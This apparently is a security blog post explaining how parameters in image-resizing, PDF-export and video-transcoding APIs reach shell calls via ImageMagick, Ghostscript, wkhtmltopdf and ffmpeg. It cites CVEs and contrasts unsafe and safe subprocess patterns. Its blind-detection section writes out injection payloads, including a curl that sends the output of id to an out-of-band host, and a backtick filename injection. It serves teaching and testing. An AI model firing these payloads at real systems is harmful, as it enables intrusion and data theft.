The ping form example appears in every OS command injection tutorial. None of them explain why an image resizing API, a PDF export endpoint, or a video transcoding route is structurally more dangerous.
The problem is not missing sanitization. It is missing awareness that an API parameter reaches an operating system call.
API Parameters Reaching OS Utilities
File names in image uploads, URL fields in PDF generators, and codec parameters in transcoding endpoints all reach OS-level execution. The connecting layer is a library the developer treats as a safe abstraction. The API contract does not reveal this coupling.
File names in image APIs. CVE-2025-54418 (CVSS 9.8) documents this pattern in the CodeIgniter 4 ImageMagick handler. The _resize() and _text() functions receive the user-supplied filename and concatenate it into the exec() command string without sanitization. A filename any.jpgwhoami`executes the command. Thesanitize_filename()` function was never designed to block shell escaping, and the developer did not know they needed it for that purpose.
URL fields in PDF endpoints. wkhtmltopdf accepts HTML as input and renders via Qt WebKit. CVE-2024-13285 documents SSRF via iframe tag injection in HTML-to-PDF endpoints. The --header-left and --run-script parameters can be injected via argument smuggling in URL or header fields. CVE-2025-26240 repeats the pattern in pdfkit: the from_string() method processes user HTML without mitigation options.
Codec parameters in video transcoding. CVE-2023-49096 (CVSS 7.7) exposes Jellyfin. The /Videos/<itemId>/stream endpoint is unauthenticated. The videoCodec and audioCodec parameters reach ffmpeg command-line arguments via inconsistent validation. A params parameter with semicolon separation bypasses the regex applied to direct query parameters. Exploitation results in arbitrary file write and RCE via the plugin system.
The developer sees an upload field, a URL, a codec string. The server sees a shell call.
ImageMagick Delegates Architecture: How File Names Become Commands
ImageMagick does not process every format internally. For EPS, PS, and PDF, it delegates to Ghostscript via delegates.xml.
The delegates.xml file maps file format handlers to shell command strings. The %M placeholder receives the input filename. Without sanitization, any shell metacharacter in the filename executes when ImageMagick invokes the delegate.
The pattern dates to 2016. CVE-2016-3714 (ImageTragick) demonstrated that the MVG format handler executed curl and wget calls via delegates.xml. Format detection uses magic bytes, not file extension. A .png file can contain MVG data and trigger the delegate.
CVE-2023-36664 (CVSS 9.8, Ghostscript through 10.01.2) reactivates this vector. The %pipe% prefix in the Ghostscript pipe device does not validate permissions correctly. Any malformed PDF or EPS file processed by ImageMagick can trigger arbitrary command execution via delegate.
CVE-2024-29510 (Ghostscript through 10.03.0) attacks the sandbox. -dSAFER is Ghostscript's security mechanism. The format string vulnerability bypasses this sandbox entirely. EPS files disguised as JPEG were exploited in production within days of PoC publication.
The SVG chain expands the surface further. An attacker-controlled SVG generates intermediate MVG. An XML-encoded CR (
) becomes an MVG newline, redirecting to the EPS delegate. The MSL (Magick Scripting Language) handler adds another dimension: a user-supplied msl: URI can trigger HTTP fetch and shell execution via delegate.
Each format supported by ImageMagick is a potential delegate vector. The question is not whether ImageMagick sanitizes input. It is how many delegates have shell access.
Blind Confirmation: Time-Delay, DNS Callback, and OOB HTTP
No image processing, PDF, or video API reflects command output to the caller. Successful injection is silent. Blind detection techniques are mandatory.
Time-delay. Inject ; sleep 10 or $(sleep 10) into the target parameter and measure API response time. A 10-second latency differential confirms execution. The server paused waiting for the sleep to finish.
DNS callback. Inject ; nslookup your-id.interactsh.com or $(dig your-id.interactsh.com). The OOB resolver (Burp Collaborator, interactsh) receives the DNS query if the injection succeeded. This confirms network egress from the server and command execution.
OOB HTTP with exfiltration. Inject ; curl http://your-id.interactsh.com/$(id). The server sends an HTTP request containing the current process identity in the path. This confirms RCE and the server's execution context.
Newline injection. The character %0a in URL-encoded parameters splits lines before reaching the library in some parsers. This allows injection without classic shell metacharacters. %0d%0a (CRLF) operates similarly in HTTP header contexts.
Metacharacter families fall into 3 groups: classic separators (;, &&, ||); POSIX parameter expansion ($(cmd), compatible with sh and bash); and string terminators (%00, which truncates C-string-based sanitization). Technique selection depends on execution context. DNS callback works even when HTTP egress is blocked.
CVEs and HackerOne: Confirmed Injection in Production API Endpoints
The 3 main utilities have CVEs with CVSS scores of 7.7 or higher published between 2023 and 2025. None are theoretical.
CVE-2025-54418 (CVSS 9.8). ImageMagick handler in CodeIgniter 4, versions prior to 4.6.1. The _resize() and _text() functions concatenate the user-supplied file path directly into exec(). The vector is AV:N/AC:L/PR:N/UI:N: remote access, no authentication, no user interaction. Patch published July 26, 2025.
CVE-2023-36664 (CVSS 9.8). Ghostscript through 10.01.2. The %pipe% prefix in the pipe device allows arbitrary command execution via permission validation failure. Any image API backend that processes PDF or EPS via ImageMagick is reachable through this vector.
CVE-2024-29510. Ghostscript through 10.03.0. Format string bypasses the -dSAFER sandbox. Production exploitation via EPS files disguised as JPEG occurred within days of PoC publication. ImageMagick-based image APIs are the natural delivery vector.
CVE-2023-49096 (CVSS 7.7). Jellyfin. Unauthenticated /Videos/<itemId>/stream endpoint. videoCodec and audioCodec reach ffmpeg arguments via inconsistent validation. Exploitation results in arbitrary file write, then RCE via plugins. Fixed in 10.8.13.
HackerOne #212696 (Imgur). Endpoint /edit/process?a=crop. The y parameter injects into GraphicsMagick's -write option. Real production image processing endpoint, RCE confirmed in production environment.
HackerOne #340208. npm module pdf-image v1.0.5. The filename parameter in PDFImage class methods reaches a shell-interpreted ImageMagick exec() call. Every Node.js PDF API using this module is vulnerable to RCE via filename.
Subprocess Security: Which Patterns Are Structurally Vulnerable
The injection surface is not the library. It is the language pattern connecting user input to the library call.
Structurally vulnerable patterns in Python (all pass input to /bin/sh):
`python
os.system('convert ' + filename)
os.popen('convert ' + filename)
subprocess.run('convert ' + filename, shell=True)
`
The structurally safe pattern:
`python
subprocess.run(['convert', filename], shell=False)
`
The argument is passed directly to the binary without shell interpretation. The critical mistake is building the command string by concatenation before calling subprocess.run with shell=False. The shell is not invoked, but the entire filename is treated as the program name.
In Node.js, exec() and execSync() are shell-interpreted. execFile(file, [args]) and spawn(file, [args]) are structurally safe. In PHP, exec("convert $filename") is vulnerable. escapeshellarg() mitigates, but requires explicit per-argument invocation.
Mapping: API Parameter Type to Utility and Vector
| API parameter type | Server-side utility | Injection vector |
|---|---|---|
| File upload (image) | ImageMagick / GraphicsMagick | Filename + format; magic bytes bypassable |
| URL field in export/report | wkhtmltopdf / Puppeteer | Network fetch; --run-script smuggling |
videoCodec / audioCodec in transcoding |
ffmpeg |
-vcodec, -acodec, -filter_complex, -i
|
domain or host parameter in diagnostics |
ping / nslookup / dig | Classic vector; survives in internal tooling |
font_name / font_path in rendering |
fc-list / convert -font | PDF generation with custom fonts |
| File extraction endpoint | unzip / tar / 7z | Archive-internal names reach OS calls |
(MAGO team tool) scans parameter-to-utility coupling automatically. It identifies image processing, PDF generation, and video conversion endpoints. Identification starts from patterns in response headers, content-type, and URL structure.
The assessment question is not "does this endpoint sanitize shell metacharacters." It is "which API parameters structurally reach OS utility calls, regardless of developer intent."
Top comments (0)